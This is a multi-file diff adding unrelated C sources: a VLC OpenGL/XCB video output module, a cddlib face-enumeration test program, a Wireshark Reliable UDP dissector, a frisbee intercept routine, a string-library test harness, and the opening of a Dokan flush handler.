+    vout_display_opengl_t *vgl;
+    picture_pool_t *pool; /* picture pool */
+};
+
+static picture_pool_t *Pool (vout_display_t *, unsigned);
+static void PictureRender (vout_display_t *, picture_t *, subpicture_t *);
+static void PictureDisplay (vout_display_t *, picture_t *, subpicture_t *);
+static int Control (vout_display_t *, int, va_list);
+static void Manage (vout_display_t *);
+
+/**
+ * Probe the X server.
+ */
+static int Open (vlc_object_t *obj)
+{
+    vout_display_t *vd = (vout_display_t *)obj;
+    vout_display_sys_t *sys = malloc (sizeof (*sys));
+
+    if (sys == NULL)
+        return VLC_ENOMEM;
+
+    sys->vgl = NULL;
+    sys->pool = NULL;
+
+    /* Get window, connect to X server (via XCB) */
+    xcb_connection_t *conn;
+    const xcb_screen_t *scr;
+    vout_window_t *surface;
+
+    surface = XCB_parent_Create (vd, &conn, &scr);
+    if (surface == NULL)
+    {
+        free (sys);
+        return VLC_EGENERIC;
+    }
+
+    sys->conn = conn;
+    sys->gl = vlc_gl_Create (surface, VLC_OPENGL, "glx");
+    if (sys->gl == NULL)
+        goto error;
+
+    const vlc_fourcc_t *spu_chromas;
+
+    if (vlc_gl_MakeCurrent (sys->gl))
+        goto error;
+
+    sys->vgl = vout_display_opengl_New (&vd->fmt, &spu_chromas, sys->gl);
+    vlc_gl_ReleaseCurrent (sys->gl);
+    if (sys->vgl == NULL)
+        goto error;
+
+    sys->cursor = XCB_cursor_Create (conn, scr);
+    sys->visible = false;
+
+    /* Setup vout_display_t once everything is fine */
+    vd->sys = sys;
+    vd->info.has_pictures_invalid = false;
+    vd->info.has_event_thread = true;
+    vd->info.subpicture_chromas = spu_chromas;
+    vd->pool = Pool;
+    vd->prepare = PictureRender;
+    vd->display = PictureDisplay;
+    vd->control = Control;
+    vd->manage = Manage;
+
+    return VLC_SUCCESS;
+
+error:
+    if (sys->gl != NULL)
+        vlc_gl_Destroy (sys->gl);
+    xcb_disconnect (sys->conn);
+    vout_display_DeleteWindow (vd, surface);
+    free (sys);
+    return VLC_EGENERIC;
+}
+
+
+/**
+ * Disconnect from the X server.
+ */
+static void Close (vlc_object_t *obj)
+{
+    vout_display_t *vd = (vout_display_t *)obj;
+    vout_display_sys_t *sys = vd->sys;
+    vlc_gl_t *gl = sys->gl;
+    vout_window_t *surface = gl->surface;
+
+    vlc_gl_MakeCurrent (gl);
+    vout_display_opengl_Delete (sys->vgl);
+    vlc_gl_ReleaseCurrent (gl);
+    vlc_gl_Destroy (gl);
+
+    /* show the default cursor */
+    xcb_change_window_attributes (sys->conn, surface->handle.xid,
+                               XCB_CW_CURSOR, &(uint32_t) { XCB_CURSOR_NONE });
+    xcb_flush (sys->conn);
+    xcb_disconnect (sys->conn);
+
+    vout_display_DeleteWindow (vd, surface);
+    free (sys);
+}
+
+/**
+ * Return a direct buffer
+ */
+static picture_pool_t *Pool (vout_display_t *vd, unsigned requested_count)
+{
+    vout_display_sys_t *sys = vd->sys;
+
+    if (!sys->pool)
+    {
+        vlc_gl_MakeCurrent (sys->gl);
+        sys->pool = vout_display_opengl_GetPool (sys->vgl, requested_count);
+        vlc_gl_ReleaseCurrent (sys->gl);
+    }
+    return sys->pool;
+}
+
+static void PictureRender (vout_display_t *vd, picture_t *pic, subpicture_t *subpicture)
+{
+    vout_display_sys_t *sys = vd->sys;
+
+    vlc_gl_MakeCurrent (sys->gl);
+    vout_display_opengl_Prepare (sys->vgl, pic, subpicture);
+    vlc_gl_ReleaseCurrent (sys->gl);
+}
+
+static void PictureDisplay (vout_display_t *vd, picture_t *pic, subpicture_t *subpicture)
+{
+    vout_display_sys_t *sys = vd->sys;
+
+    vlc_gl_MakeCurrent (sys->gl);
+    vout_display_opengl_Display (sys->vgl, &vd->source);
+    vlc_gl_ReleaseCurrent (sys->gl);
+
+    picture_Release (pic);
+    if (subpicture)
+        subpicture_Delete(subpicture);
+}
+
+static int Control (vout_display_t *vd, int query, va_list ap)
+{
+    vout_display_sys_t *sys = vd->sys;
+
+    switch (query)
+    {
+    case VOUT_DISPLAY_CHANGE_DISPLAY_SIZE:
+    case VOUT_DISPLAY_CHANGE_DISPLAY_FILLED:
+    case VOUT_DISPLAY_CHANGE_ZOOM:
+    case VOUT_DISPLAY_CHANGE_SOURCE_ASPECT:
+    case VOUT_DISPLAY_CHANGE_SOURCE_CROP:
+    {
+        const vout_display_cfg_t *cfg;
+        const video_format_t *source;
+
+        if (query == VOUT_DISPLAY_CHANGE_SOURCE_ASPECT
+         || query == VOUT_DISPLAY_CHANGE_SOURCE_CROP)
+        {
+            source = (const video_format_t *)va_arg (ap, const video_format_t *);
+            cfg = vd->cfg;
+        }
+        else
+        {
+            source = &vd->source;
+            cfg = (const vout_display_cfg_t*)va_arg (ap, const vout_display_cfg_t *);
+        }
+
+        vout_display_place_t place;
+        vout_display_PlacePicture (&place, source, cfg, false);
+
+        vlc_gl_MakeCurrent (sys->gl);
+        glViewport (place.x, place.y, place.width, place.height);
+        vlc_gl_ReleaseCurrent (sys->gl);
+        return VLC_SUCCESS;
+    }
+
+    /* Hide the mouse. It will be send when
+     * vout_display_t::info.b_hide_mouse is false */
+    case VOUT_DISPLAY_HIDE_MOUSE:
+        xcb_change_window_attributes (sys->conn, sys->gl->surface->handle.xid,
+                                    XCB_CW_CURSOR, &(uint32_t){ sys->cursor });
+        xcb_flush (sys->conn);
+        return VLC_SUCCESS;
+
+    case VOUT_DISPLAY_RESET_PICTURES:
+        vlc_assert_unreachable ();
+    default:
+        msg_Err (vd, "Unknown request in XCB vout display");
+        return VLC_EGENERIC;
+    }
+}
+
+static void Manage (vout_display_t *vd)
+{
+    vout_display_sys_t *sys = vd->sys;
+
+    XCB_Manage (vd, sys->conn, &sys->visible);
+}
diff --git a/pool/shard001/C/0025185_allfaces.c b/pool/shard001/C/0025185_allfaces.c
new file mode 100644
index 0000000000000000000000000000000000000000..b70e3453bb96f7de72d5c10921bd8346e65595dd
--- /dev/null
+++ b/pool/shard001/C/0025185_allfaces.c
@@ -0,0 +1,184 @@
+/* allfaces.c: Test program to call the cdd library cddlib
+   written by Komei Fukuda, fukuda@ifor.math.ethz.ch
+   Version 0.94, August 4, 2005
+   Standard ftp site: ftp.ifor.math.ethz.ch, Directory: pub/fukuda/cdd
+*/
+
+/*  This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+*/
+
+#include <setoper.h>
+#include <cdd.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+#include <math.h>
+#include <string.h>
+
+dd_boolean SetInputFile(FILE **f, dd_DataFileType fname)
+{
+  dd_boolean success=dd_FALSE;
+  success=dd_FALSE;
+
+  if ( ( *f = fopen(fname, "r") )!= NULL) {
+    printf("input file %s is open\n", fname);
+    success=dd_TRUE;
+  }
+  else{
+    printf("The input file %s not found\n",fname);
+  }
+  return success;
+}
+
+dd_boolean SetWriteFile(FILE **f, dd_DataFileType fname)
+{
+  dd_boolean success=dd_FALSE;
+
+  if ( (*f = fopen(fname, "w")) != NULL){
+    printf("output file %s is open\n",fname);
+    success=dd_TRUE;
+  }
+  else{
+    printf("The output file %s cannot be opened\n",fname);
+  }
+  return success;
+}
+
+dd_boolean FaceEnum(dd_MatrixPtr M, dd_rowset R, dd_rowset S, dd_boolean rip, dd_colrange mindim)
+{
+  dd_ErrorType err;
+  dd_rowset LL, ImL, RR, SS, Lbasis;
+  dd_rowrange i,iprev=0;
+  dd_colrange j,dim;
+  dd_LPSolutionPtr lps=NULL;
+  dd_boolean success=dd_FALSE;
+
+  set_initialize(&LL, M->rowsize);
+  set_initialize(&RR, M->rowsize);
+  set_initialize(&SS, M->rowsize);
+  set_copy(LL, M->linset); /* rememer the linset. */
+  set_copy(RR, R); /* copy of R. */
+  set_copy(SS, S); /* copy of S. */
+  if (dd_ExistsRestrictedFace(M, R, S, &err)){
+    set_uni(M->linset, M->linset, R);
+	dd_FindRelativeInterior(M, &ImL, &Lbasis, &lps, &err);
+	dim=M->colsize - set_card(Lbasis)-1;
+    set_uni(M->linset, M->linset, ImL);
+	fprintf(stdout,"%ld: ", dim); set_fwrite(stdout,M->linset);
+	if (rip){
+    	/* Write an interior point. */
+	  printf("RIP: (");
+	  for (j=1; j <(lps->d)-1; j++) {
+	    dd_WriteNumber(stdout,lps->sol[j]);
+	  }
+	  printf(")\n");
+	}
+	dd_FreeLPSolution(lps);
+	set_free(ImL);
+	set_free(Lbasis);
+   
+    if (dim>mindim){
+	  for (i=1; i<=M->rowsize; i++){
+	    if (!set_member(i, M->linset) && !set_member(i, S)){
+		  set_addelem(RR, i);
+		  if (iprev) {
+		    set_delelem(RR,iprev);
+		    set_delelem(M->linset,iprev);
+		    set_addelem(SS, iprev);
+		  }
+		  iprev=i;
+		  FaceEnum(M, RR, SS, rip, mindim);
+		}
+	  }
+	}
+  } else if (err!=dd_NoError) goto _L99;
+  success=dd_TRUE;
+
+_L99:
+  set_copy(M->linset, LL); /* restore the linset */
+  set_free(LL);
+  set_free(RR);
+  set_free(SS);
+  return success;
+}
+
+
+
+int main(int argc, char *argv[])
+{
+  dd_MatrixPtr M=NULL;
+  dd_rowrange m;
+  dd_ErrorType err=dd_NoError;
+  dd_rowset R, S;
+  dd_DataFileType inputfile;
+  FILE *reading=NULL;
+  char ch;
+  dd_colrange mindim;
+  dd_boolean rip=dd_FALSE;
+  
+  
+  dd_set_global_constants();  /* First, this must be called. */
+
+  if (argc>1) strcpy(inputfile,argv[1]);
+  if (argc<=1 || !SetInputFile(&reading,argv[1])){
+    dd_WriteProgramDescription(stdout);
+    fprintf(stdout,"\ncddlib test program to list all faces of an H-polyhedron.\n");
+    dd_SetInputFile(&reading,inputfile, &err);
+  }
+  if (err==dd_NoError) {
+    M=dd_PolyFile2Matrix(reading, &err);
+  }
+  else {
+    fprintf(stderr,"Input file not found\n");
+    goto _L99;
+  }
+
+  if (err!=dd_NoError) goto _L99;
+  
+  if (M->representation==dd_Generator){
+    printf("The input is V-representation.  Consider it as H-representation (N)? ");
+    ch=getchar(); getchar();
+    if (ch!='y' && ch!='Y') goto _L99;
+  }
+
+  m=M->rowsize;
+  
+  set_initialize(&R, M->rowsize); 
+  set_initialize(&S, M->rowsize); 
+  
+  printf("Output relative interior points (N)? ");
+  ch=getchar();
+  if (ch=='y' || ch=='Y') rip=dd_TRUE;
+  printf("Minimum dimension of faces to list (0..%ld) ? ",M->colsize-1);
+  scanf("%ld", &mindim);
+  if (mindim>=M->colsize) mindim=M->colsize-1;
+  printf("Minimum dimension is set to %ld.", mindim);
+
+  printf("\n--- FaceEnum (dim: active set) ---\nbegin\n");
+  FaceEnum(M, R, S, rip, mindim);
+  fprintf(stderr,"end\nFaceEnum completed.\n");
+
+  dd_FreeMatrix(M);
+  set_free(R);
+  set_free(S);
+_L99:;
+  if (err!=dd_NoError) dd_WriteErrorMessages(stderr,err);
+  dd_free_global_constants();  /* At the end, this should be called. */
+  return 0;
+}
+
+
+/* end of allfaces.c */
diff --git a/pool/shard001/C/0025186_packet-rudp.c b/pool/shard001/C/0025186_packet-rudp.c
new file mode 100644
index 0000000000000000000000000000000000000000..ea8d25f5edba2fc5403d548ea726d3f41f218812
--- /dev/null
+++ b/pool/shard001/C/0025186_packet-rudp.c
@@ -0,0 +1,273 @@
+/* packet-rudp.c
+ * Routines for Reliable UDP Protocol.
+ * Copyright 2004, Duncan Sargeant <dunc-ethereal@rcpt.to>
+ *
+ * Wireshark - Network traffic analyzer
+ * By Gerald Combs <gerald@wireshark.org>
+ * Copyright 1998 Gerald Combs
+ *
+ * Copied from packet-data.c, README.developer, and various other files.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+
+ * Reliable UDP is a lightweight protocol for providing TCP-like flow
+ * control over UDP.  Cisco published an PFC a long time ago, and
+ * their actual implementation is slightly different, having no
+ * checksum field.
+ *
+ * I've cheated here - RUDP could be used for anything, but I've only
+ * seen it used to switched telephony calls, so we just call the Cisco SM
+ * dissector from here.
+ *
+ * Here are some links:
+ *
+ * http://www.watersprings.org/pub/id/draft-ietf-sigtran-reliable-udp-00.txt
+ * http://www.javvin.com/protocolRUDP.html
+ * http://www.cisco.com/univercd/cc/td/doc/product/access/sc/rel7/omts/omts_apb.htm#30052
+
+ */
+
+#include "config.h"
+
+#include <epan/packet.h>
+#include <epan/prefs.h>
+
+
+void proto_register_rudp(void);
+
+/* Disable rudp by default. The previously hardcoded value of
+ * 7000 (used by Cisco) collides with afs and as the draft states:
+ * "RUDP doesn't place any restrictions on which UDP port numbers are used.
+ *  Valid port numbers are ports not defined in RFC 1700."
+ */
+/* FIXME: The proper solution would be to convert this dissector into
+ *        heuristic dissector, but it isn't complete anyway.
+ */
+static guint udp_port = 0;
+
+void proto_reg_handoff_rudp(void);
+
+static int proto_rudp = -1;
+
+static int hf_rudp_flags = -1;
+static int hf_rudp_flags_syn = -1;
+static int hf_rudp_flags_ack = -1;
+static int hf_rudp_flags_eak = -1;
+static int hf_rudp_flags_rst = -1;
+static int hf_rudp_flags_nul = -1;
+static int hf_rudp_flags_chk = -1;
+static int hf_rudp_flags_tcs = -1;
+static int hf_rudp_flags_0 = -1;
+static int hf_rudp_hlen = -1;
+static int hf_rudp_seq = -1;
+static int hf_rudp_ack = -1;
+static int hf_rudp_cksum = -1;
+
+static gint ett_rudp = -1;
+static gint ett_rudp_flags = -1;
+
+static dissector_handle_t sm_handle = NULL;
+
+static int
+dissect_rudp(tvbuff_t *tvb, packet_info *pinfo _U_ , proto_tree *tree, void* data _U_)
+{
+	tvbuff_t * next_tvb;
+	proto_tree *rudp_tree;
+	proto_item *ti;
+	guint8 hlen;
+	static const int * flags[] = {
+		&hf_rudp_flags_syn,
+		&hf_rudp_flags_ack,
+		&hf_rudp_flags_eak,
+		&hf_rudp_flags_rst,
+		&hf_rudp_flags_nul,
+		&hf_rudp_flags_chk,
+		&hf_rudp_flags_tcs,
+		&hf_rudp_flags_0,
+		NULL
+	};
+
+	hlen = tvb_get_guint8(tvb, 1);
+
+	col_set_str(pinfo->cinfo, COL_PROTOCOL, "RUDP");
+	col_clear(pinfo->cinfo, COL_INFO);
+
+	ti = proto_tree_add_item(tree, proto_rudp, tvb, 0, hlen, ENC_NA);
+	rudp_tree = proto_item_add_subtree(ti, ett_rudp);
+
+	proto_tree_add_bitmask(rudp_tree, tvb, 0, hf_rudp_flags, ett_rudp_flags, flags, ENC_BIG_ENDIAN);
+
+	proto_tree_add_item(rudp_tree, hf_rudp_hlen, tvb, 1, 1, ENC_BIG_ENDIAN);
+	proto_tree_add_item(rudp_tree, hf_rudp_seq, tvb, 2, 1, ENC_BIG_ENDIAN);
+	proto_tree_add_item(rudp_tree, hf_rudp_ack, tvb, 3, 1, ENC_BIG_ENDIAN);
+
+	/* If the header is more than 4 bytes the next 2 bytes are the checksum */
+	if (hlen > 4) {
+		proto_tree_add_checksum(rudp_tree, tvb, 4, hf_rudp_cksum, -1, NULL, pinfo, 0, ENC_BIG_ENDIAN, PROTO_CHECKSUM_NO_FLAGS);
+	}
+
+	/* If we have even more bytes their meaning is unknown - we have seen this
+		* in live captures */
+	if (hlen > 6) {
+		next_tvb = tvb_new_subset_length(tvb, 6, hlen-6);
+		call_data_dissector(next_tvb, pinfo, rudp_tree);
+	}
+
+	next_tvb = tvb_new_subset_remaining(tvb, hlen);
+	if (tvb_captured_length(next_tvb) && sm_handle)
+		call_dissector(sm_handle, next_tvb, pinfo, tree);
+
+	return tvb_captured_length(tvb);
+}
+
+void
+proto_register_rudp(void)
+{
+
+	static hf_register_info hf[] = {
+		{ &hf_rudp_flags,
+			{ "RUDP Header flags",           "rudp.flags",
+			FT_UINT8, BASE_DEC, NULL, 0x0,
+			NULL, HFILL }
+		},
+		{ &hf_rudp_flags_syn,
+			{ "Syn",           "rudp.flags.syn",
+			FT_BOOLEAN, 8, NULL, 0x80,
+			NULL, HFILL }
+		},
+		{ &hf_rudp_flags_ack,
+			{ "Ack",           "rudp.flags.ack",
+			FT_BOOLEAN, 8, NULL, 0x40,
+			NULL, HFILL }
+		},
+		{ &hf_rudp_flags_eak,
+			{ "Eak",           "rudp.flags.eak",
+			FT_BOOLEAN, 8, NULL, 0x20,
+			"Extended Ack", HFILL }
+		},
+		{ &hf_rudp_flags_rst,
+			{ "RST",           "rudp.flags.rst",
+			FT_BOOLEAN, 8, NULL, 0x10,
+			"Reset flag", HFILL }
+		},
+		{ &hf_rudp_flags_nul,
+			{ "NULL",           "rudp.flags.nul",
+			FT_BOOLEAN, 8, NULL, 0x08,
+			"Null flag", HFILL }
+		},
+		{ &hf_rudp_flags_chk,
+			{ "CHK",           "rudp.flags.chk",
+			FT_BOOLEAN, 8, NULL, 0x04,
+			"Checksum is on header or body", HFILL }
+		},
+		{ &hf_rudp_flags_tcs,
+			{ "TCS",           "rudp.flags.tcs",
+			FT_BOOLEAN, 8, NULL, 0x02,
+			"Transfer Connection System", HFILL }
+		},
+		{ &hf_rudp_flags_0,
+			{ "0",           "rudp.flags.0",
+			FT_BOOLEAN, 8, NULL, 0x01,
+			NULL, HFILL }
+		},
+		{ &hf_rudp_hlen,
+			{ "Header Length",           "rudp.hlen",
+			FT_UINT8, BASE_DEC, NULL, 0x0,
+			NULL, HFILL }
+		},
+		{ &hf_rudp_seq,
+			{ "Seq",           "rudp.seq",
+			FT_UINT8, BASE_DEC, NULL, 0x0,
+			"Sequence Number", HFILL }
+		},
+		{ &hf_rudp_ack,
+			{ "Ack",           "rudp.ack",
+			FT_UINT8, BASE_DEC, NULL, 0x0,
+			"Acknowledgement Number", HFILL }
+		},
+		{ &hf_rudp_cksum,
+			{ "Checksum",           "rudp.cksum",
+			FT_UINT16, BASE_HEX, NULL, 0x0,
+			NULL, HFILL }
+		},
+	};
+
+
+/* Setup protocol subtree array */
+	static gint *ett[] = {
+		&ett_rudp,
+		&ett_rudp_flags,
+	};
+
+
+	proto_rudp = proto_register_protocol (
+		"Reliable UDP",		/* name */
+		"RUDP",		/* short name */
+		"rudp"		/* abbrev */
+		);
+
+	proto_register_field_array(proto_rudp, hf, array_length(hf));
+	proto_register_subtree_array(ett, array_length(ett));
+
+	{
+		module_t *rudp_module;
+		rudp_module = prefs_register_protocol(proto_rudp, proto_reg_handoff_rudp);
+		prefs_register_uint_preference(rudp_module,
+			"udp.port",
+			"UDP port for RUDP",
+			"Set the UDP port for Reliable UDP traffic",
+			10,
+			&udp_port);
+	}
+
+}
+
+void
+proto_reg_handoff_rudp(void) {
+
+	static gboolean initialized = FALSE;
+	static dissector_handle_t rudp_handle;
+	static guint saved_udp_port;
+
+	if (!initialized) {
+		rudp_handle = create_dissector_handle(dissect_rudp, proto_rudp);
+		dissector_add_for_decode_as("udp.port", rudp_handle);
+		sm_handle = find_dissector_add_dependency("sm", proto_rudp);
+		initialized = TRUE;
+	} else {
+		if (saved_udp_port != 0) {
+			dissector_delete_uint("udp.port", saved_udp_port, rudp_handle);
+		}
+	}
+
+	if (udp_port != 0) {
+		dissector_add_uint("udp.port", udp_port, rudp_handle);
+	}
+	saved_udp_port = udp_port;
+}
+
+/*
+ * Editor modelines  -  http://www.wireshark.org/tools/modelines.html
+ *
+ * Local variables:
+ * c-basic-offset: 8
+ * tab-width: 8
+ * indent-tabs-mode: t
+ * End:
+ *
+ * vi: set shiftwidth=8 tabstop=8 noexpandtab:
+ * :indentSize=8:tabSize=8:noTabs=false:
+ */
diff --git a/pool/shard001/C/0025190_intercept.c b/pool/shard001/C/0025190_intercept.c
new file mode 100644
index 0000000000000000000000000000000000000000..1f3723120474b9dc6826404368e03c844e99baa8
--- /dev/null
+++ b/pool/shard001/C/0025190_intercept.c
@@ -0,0 +1,148 @@
+/*
+ * intercept.c
+ *
+ *  Created on: 25 May 2010
+ *      Author: David Tyler
+ */
+
+#include "../dt_logger.h"
+
+#include "intercept.h"
+#include "../conversion_constants.h"
+#include "../data_structures/vector.h"
+#include "../disc_path.h"
+#include "../player.h"
+
+/*
+ * create_intercept
+ *
+ * Allocates the memory required for a intercept
+ *
+ * Returns: A pointer to the newly created memory
+ */
+INTERCEPT *create_intercept()
+{
+  /*
+   * Local Variables
+   */
+  INTERCEPT *intercept;
+
+  /*
+   * Allocate the required memory
+   */
+  intercept = (INTERCEPT *) DT_MALLOC(sizeof(INTERCEPT));
+
+  /*
+   * The positions of the two objects are references and are set to NULL until
+   * this intercept is calculated.
+   */
+  intercept->object_a = NULL;
+  intercept->object_b = NULL;
+
+  return(intercept);
+}
+
+/*
+ * destroy_intercept
+ *
+ * Frees the memory used by the passed in object.
+ *
+ * Parameters: intercept - The object to be freed.
+ */
+void destroy_intercept(INTERCEPT *intercept)
+{
+  /*
+   * Free the object.
+   */
+  DT_FREE(intercept);
+}
+
+/*
+ * calculate_player_disc_path_intercept
+ *
+ * Takes a player and a disc path and calculates when the player can first
+ * intercept the disc if they are running at 100% for the whole time.
+ *
+ * All times are done in seconds from the current time in this function.
+ *
+ * Parameters: player
+ *             disc_path
+ *             intercept - Will be returned containing the intercept vectors.
+ *                         Should already have been created.
+ *
+ * Returns: True if the player can intercept the disc at some point along the
+ *          path and false otherwise.
+ */
+bool calculate_player_disc_path_intercept(PLAYER *player,
+                                          DISC_PATH *disc_path,
+                                          INTERCEPT *intercept)
+{
+  /*
+   * Local Variables.
+   */
+  float landing_time = disc_path->end_position->t;
+  float max_player_travel_dist;
+  float current_time = SDL_GetTicks() / MILLISECONDS_PER_SECOND;
+  DISC_POSITION *disc_position;
+  float distance;
+  bool found_intercept = false;
+  float time_to_reach = 0.0;
+
+  /*
+   * Calculate the maximum distance that the player can travel between now and
+   * the time at which the disc lands.
+   */
+  max_player_travel_dist = player->max_speed * (landing_time - current_time);
+
+  /*
+   * For each point along the disc path decide whether it is inside that radius,
+   * whether the player can reach the disc at that point and whether they will
+   * arrive there in time to get it. The first along the path for which all
+   * these are true for is the first intercept point.
+   */
+  disc_position = disc_path->start_position;
+  while(NULL != disc_position)
+  {
+    /*
+     * Calculate the distance between the player position and the disc position
+     * as two vectors projected down onto R2.
+     */
+    distance = dist_between_vectors_2d(&(player->position),
+                                       &(disc_position->position));
+
+    if (distance <= max_player_travel_dist)
+    {
+      /*
+       * Check that the player can reach the disc at that point.
+       */
+      if (player->height >= disc_position->position.z)
+      {
+        /*
+         * Calculate when the player will reach that point. If it is before the
+         * disc then we have found an intercept point.
+         */
+        time_to_reach = distance / player->max_speed;
+        if (time_to_reach <= disc_position->t)
+        {
+          found_intercept = true;
+          break;
+        }
+      }
+    }
+
+    disc_position = disc_position->next;
+  }
+
+  /*
+   * There is no guarantee that we found an intercept point. If we did then
+   * fill it in here.
+   */
+  if (found_intercept)
+  {
+    intercept->object_a = &(player->position);
+    intercept->object_b = &(disc_position->position);
+    intercept->t = time_to_reach;
+  }
+
+  return(found_intercept);
+}
diff --git a/pool/shard001/C/0025200_mystring_test.c b/pool/shard001/C/0025200_mystring_test.c
new file mode 100644
index 0000000000000000000000000000000000000000..00264a3fe0a88d8ff71e183bbf316190c4e060e2
--- /dev/null
+++ b/pool/shard001/C/0025200_mystring_test.c
@@ -0,0 +1,147 @@
+#include <stdlib.h>
+#include <string.h>
+#include "mystring.h"
+
+void TestLength(String s){
+    int expected = 5;
+    int returned = s.length("teste");
+    if (returned != expected) {
+        printf("TestLength: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestFirstIndexOfFound(String s){
+    int expected = 2;
+    int returned = s.firstIndexOf("teste", 's');
+    if (returned != expected) {
+        printf("TestFirstIndexOfFound: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestFirstIndexOfNotFound(String s){
+    int expected = NOTFOUND;
+    int returned = s.firstIndexOf("teste", 'i');
+    if (returned != expected) {
+        printf("TestFirstIndexOfNotFound: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestLastIndexOfFound(String s){
+    int expected = 3;
+    int returned = s.lastIndexOf("teste", 't');
+    if (returned != expected) {
+        printf("TestLastIndexOfFound: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestLastIndexOfNotFound(String s){
+    int expected = NOTFOUND;
+    int returned = s.lastIndexOf("teste", 'i');
+    if (returned != expected) {
+        printf("TestLastIndexOfNotFound: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestEqualsEquals(String s){
+    int expected = TRUE;
+    int returned = s.equals("teste", "teste");
+    if (returned != expected) {
+        printf("TestEqualsEquals: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestEqualsNotEquals(String s){
+    int expected = FALSE;
+    int returned = s.equals("testa", "teste");
+    if (returned != expected) {
+        printf("TestEqualsNotEquals: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestToUpperCase(String s){
+    char* expected = "ABCZ";
+    char returned[] = "abcz";
+    s.toUpperCase(returned);
+    if (strcmp(expected, returned)) {
+        printf("TestToUpperCase: expected %s but found %s\n",
+                expected, returned);
+    }
+}
+
+void TestToLowerCase(String s){
+    char* expected = "abcz";
+    char returned[] = "ABCZ";
+    s.toLowerCase(returned);
+    if (strcmp(expected, returned)) {
+        printf("TestToLowerCase: expected %s but found %s\n",
+                expected, returned);
+    }
+}
+
+void TestEqualsIgnoreCaseEquals(String s){
+    int expected = TRUE;
+    int returned = s.equalsIgnoreCase("teste", "TESTE");
+    if (returned != expected) {
+        printf("TestEqualsIgnoreCaseEquals: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestEqualsIgnoreCaseNotEquals(String s){
+    int expected = FALSE;
+    int returned = s.equals("TESTA", "teste");
+    if (returned != expected) {
+        printf("TestEqualsIgnoreCaseNotEquals: expected %d but found %d\n",
+                expected, returned);
+    }
+}
+
+void TestReplace(String s){
+    char* expected = "bell";
+    char returned[] = "ball";
+    s.replace(returned, 'a', 'e');
+    if (strcmp(expected, returned)) {
+        printf("TestReplace: expected %s but found %s\n",
+                expected, returned);
+    }
+}
+
+
+void TestSubstring(String s){
+    char* expected = "tes";
+    char returned[5];
+    s.substring("teste", returned, 0, 3);
+    if (strcmp(expected, returned)) {
+        printf("Testsubstring: expected %s but found %s\n",
+                expected, returned);
+    }
+}
+
+int main(int argc, char *argv[])
+{
+    String s = new;
+    printf("Initializing tests...\n");
+    TestLength(s);
+    TestFirstIndexOfFound(s);
+    TestFirstIndexOfNotFound(s);
+    TestLastIndexOfFound(s);
+    TestLastIndexOfNotFound(s);
+    TestEqualsEquals(s);
+    TestEqualsNotEquals(s);
+    TestToUpperCase(s);
+    TestToLowerCase(s);
+    TestEqualsIgnoreCaseEquals(s);
+    TestEqualsIgnoreCaseNotEquals(s);
+    TestReplace(s);
+    TestSubstring(s);
+    printf("End of tests.\n");
+    return 0;
+}
+
diff --git a/pool/shard001/C/0025206_flush.c b/pool/shard001/C/0025206_flush.c
new file mode 100644
index 0000000000000000000000000000000000000000..03933538963ea603bae0f23db103fb62b05bed6f
--- /dev/null
+++ b/pool/shard001/C/0025206_flush.c
@@ -0,0 +1,136 @@
+/*
+  Dokan : user-mode file system library for Windows
+
+  Copyright (C) 2015 - 2017 Adrien J. <liryna.stark@gmail.com> and Maxime C. <maxime@islog.com>
+  Copyright (C) 2007 - 2011 Hiroki Asakawa <info@dokan-dev.net>
+
+  http://dokan-dev.github.io
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the GNU Lesser General Public License as published by the Free
+Software Foundation; either version 3 of the License, or (at your option) any
+later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include "dokan.h"
+
+NTSTATUS
+DokanDispatchFlush(__in PDEVICE_OBJECT DeviceObject, __in PIRP Irp) {
+  PIO_STACK_LOCATION irpSp;
+  PFILE_OBJECT fileObject;
+  NTSTATUS status = STATUS_INVALID_PARAMETER;
+  PDokanFCB fcb = NULL;
+  PDokanCCB ccb;
+  PDokanVCB vcb;
+  PEVENT_CONTEXT eventContext;
+  ULONG eventLength;
+
+  __try {
+    DDbgPrint("==> DokanFlush\n");
+
+    irpSp = IoGetCurrentIrpStackLocation(Irp);
+    fileObject = irpSp->FileObject;
+
+    if (fileObject == NULL) {
+      DDbgPrint("  fileObject == NULL\n");
+      status = STATUS_SUCCESS;
+      __leave;
+    }
+
+    vcb = DeviceObject->DeviceExtension;
+    if (GetIdentifierType(vcb) != VCB ||
+        !DokanCheckCCB(vcb->Dcb, fileObject->FsContext2)) {
+      status = STATUS_SUCCESS;
+      __leave;
+    }
+
+    DokanPrintFileName(fileObject);
+
+    ccb = fileObject->FsContext2;
+    ASSERT(ccb != NULL);
+
+    fcb = ccb->Fcb;
+    ASSERT(fcb != NULL);
